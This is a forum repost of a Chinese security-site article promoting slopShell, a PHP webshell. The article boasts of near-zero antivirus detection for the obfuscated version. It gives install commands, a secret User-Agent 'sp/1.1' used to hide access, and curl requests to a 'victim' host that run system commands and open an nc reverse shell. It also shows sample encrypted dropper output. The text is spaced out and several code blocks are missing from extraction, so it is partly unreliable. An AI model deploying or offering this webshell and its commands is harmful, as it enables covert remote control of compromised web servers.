搜索

[16916] 2021-06-17_slopShell：你唯一需要的PHPWebshell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-17_slopShell：你唯一需要的PHPWebshell s l o p S h e l l ： 你 唯 一 需 要 的 P H P   W e b s h e l l A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 6 - 1 7 关 于 关 于 s l o p S h e l l s l o p S h e l l 是 一 款 功 能 强 大 的 P H P   W e b s h e l l ， 有 了 它 ， 你 就 不 需 要 再 用 到 其 他 W e b s h e l l 了 。 为 了 让 这 个 s h e l l 正 常 工 作 ， 广 大 研 究 人 员 只 需 要 做 两 件 事 情 ， 一 是 能 够 将 p h p 文 件 发 送 给 目 标 用 户 ， 二 是 能 够 向 这 个 W e b s h e l l 发 送 H T T P 请 求 工 具 演 示 视 频 工 具 演 示 视 频 视 频 地 址 ： 点 击 底 部 【 阅 读 原 文 】 观 看 当 前 当 前 V i r u s T o t a l 检 测 率 ： 检 测 率 ： 2 / 5 9
当 前 当 前 V i r u s T o t a l 检 测 率 （ 混 淆 版 本 ） ： 检 测 率 （ 混 淆 版 本 ） ： 0 / 5 9
工 具 安 装 工 具 安 装
首 先 ， 广 大 研 究 人 员 需 要 运 行 一 台 由 自 己 控 制 的 p g s q l 服 务 器 ， 然 后 根 据 自 己 的 操 作 系 统 类 型 选 择 对 应 的 安 装 命 令 ： D e b i a n R H E L 系 统 系 统 一 旦 这 些 设 置 正 确 并 且 可 以 确 认 它 们 正 在 运 行 ， 我 建 议 广 大 研 究 人 员 运 行 命 令 “ p g _ c t l ” 来 创 建 数 据 库 ， 并 实 现 数 据 库 的 初 始 化 和 启 动 ， 以 此 确 保 所 有 数 据 库 查 询 都 可 以 正 常 工 作 。 工 具 交 互 工 具 交 互 首 先 ， 您 需 要 选 择 一 个 有 效 的 U s e r - A g e n t 来 使 用 ， 你 可 以 把 它 看 成 是 第 一 层 保 护 ， 以 防 您 的 w e b s h e l l 被 除 您 之 外 的 任 何 人 意 外 地 发 现 。 我 这 里 选 择 的 是 “ s p / 1 . 1 ” ， 因 为 它 是 一 个 非 典 型 的 U s e r - A g e n t 。 如 果 设 置 不 当 的 话 ， 可 能 会 导 致 渗 透 测 试 过 程 中 出 现 问 题 ， 或 者 导 致 脚 本 和 访 问 请 求 被 屏 蔽 。 对 于 W i n d o w s 版 本 的 话 ， 我 没 有 添 加 过 多 内 容 ， 因 为 本 人 不 太 喜 欢 W i n d o w s 开 发 。 下 面 给 出 的 是 如 何 将 此 w e b s h e l l 与 c u r l 一 起 使 用 的 示 例 ： 或 者 ， 执 行 下 列 自 定 义 命 令 ： 或 者 ， 可 以 尝 试 跟 你 自 己 的 设 备 建 立 一 个 反 向 S h e l l ： 工 具 使 用 样 例 工 具 使 用 样 例 在 浏 览 器 中 ， 在 不 使 用 正 常 U s e r - A g e n t 字 符 串 的 情 况 下 发 送 请 求 （ 第 一 层 认 证 ） ： 在 命 令 行 终 端 窗 口 中 ， 使 用 c u r l 命 令 以 及 - v H   “ U s e r - A g e n t :   s p 1 . 1 ” 选 项 执 行 ： a p t   i n s t a l l   - y   p o s t g r e s q l   p h p   p h p - p e a r   & &   p y t h o n   - m   p i p   i n s t a l l   p r o x y b r o k e r   - - u s e r d n f   - y   - b   i n s t a l l   p o s t g r e s q l - s e r v e r   p o s t g r e s q l   p h p   p h p - p e a r   & &   p y t h o n   - m   p i p   i n s t a l l   p r o x y b r o k e r   - - u s e r c u r l   h t t p s : / / v i c t i m / s l o p . p h p ? q s = c q P   - H   " U s e r - A g e n t :   s p / 1 . 1 "   - v c u r l   h t t p s : / / v i c t i m / s l o p . p h p   - - d a t a   " c o m m a n d e r = i d "   - H   " U s e r - A g e n t :   s p / 1 . 1 "   - v c u r l   h t t p s : / / v i c t i m / s l o p . p h p   - - d a t a   " r c o m = 1 & m t h d = n c & r h o s t = & r p o r t = & s h e l l = s h "   - H   " U s e r - A g e n t :   s p / 1 . 1 "   - v
经 过 混 淆 处 理 后 的 脚 本 示 例 ： 生 成 混 淆 后 的 脚 本 ： 数 据 加 密 数 据 加 密 当 加 密 程 序 运 行 完 之 后 ， D r o p p e r 脚 本 将 会 被 加 密 ， 并 且 经 过 高 度 混 淆 处 理 ， 样 本 输 出 如 下 ：
项 目 地 址 ： 点 击 底 部 【 阅 读 原 文 】 获 取 精 彩 推 荐 精 彩 推 荐 B a s e 6 4   d e c o d e d :   a l s o   a   t e s t   1 2 3 R e - E n c o d e d :   Y W x z b y B h I H R l c 3 Q g M T I z K e y :   4 2 1 2 b d 1 f f 1 d 3 6 6 f 2 3 c a 7 7 0 2 1 7 0 6 a 9 a 2 9 c b 8 2 4 b 4 5 f 8 2 a e 3 1 2 b c f 2 2 0 d e 6 8 c 7 6 7 6 0 2 8 9 f 1 d 5 5 5 0 a a 3 4 1 0 0 2 f 1 c f a 9 8 3 1 e 8 7 1 e K e y   L e n g t h :   9 6 E n c r y p t i o n   R e s u l t : A r r a y (         [ o r i g i n a l ]   = >   a l s o   a   t e s t   1 2 3         [ k e y ]   = >   4 2 1 2 b d 1 f f 1 d 3 6 6 f 2 3 c a 7 7 0 2 1 7 0 6 a 9 a 2 9 c b 8 2 4 b 4 5 f 8 2 a e 3 1 2 b c f 2 2 0 d e 6 8 c 7 6 7 6 0 2 8 9 f 1 d 5 5 5 0 a a 3 4 1 0 0 2 f 1 c f a 9 8 3 1 e 8 7 1 e         [ e n c r y p t e d ]   = >   m e I H s / y 6 _ U 7 U ~ 7 ( M         [ b a s e 6 4 _ E n c o d e d ]   = >   b W V J S A A d c w 4 v e T Z f V Q U 3 V X 4 3 K E 0 = ) D e c r y p t   T e s t : A r r a y (         [ k e y ]   = >   4 2 1 2 b d 1 f f 1 d 3 6 6 f 2 3 c a 7 7 0 2 1 7 0 6 a 9 a 2 9 c b 8 2 4 b 4 5 f 8 2 a e 3 1 2 b c f 2 2 0 d e 6 8 c 7 6 7 6 0 2 8 9 f 1 d 5 5 5 0 a a 3 4 1 0 0 2 f 1 c f a 9 8 3 1 e 8 7 1 e         [ e n c r y p t e d ]   = >   m e I H s / y 6 _ U 7 U ~ 7 ( M         [ d e c r y p t e d ]   = >   Y W x z b y B h I H R l c 3 Q g M T I z         [ b a s e 6 4 _ d e c o d e d ]   = >   a l s o   a   t e s t   1 2 3         [ o r i g i n a l ]   = >   a l s o   a   t e s t   1 2 3 )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理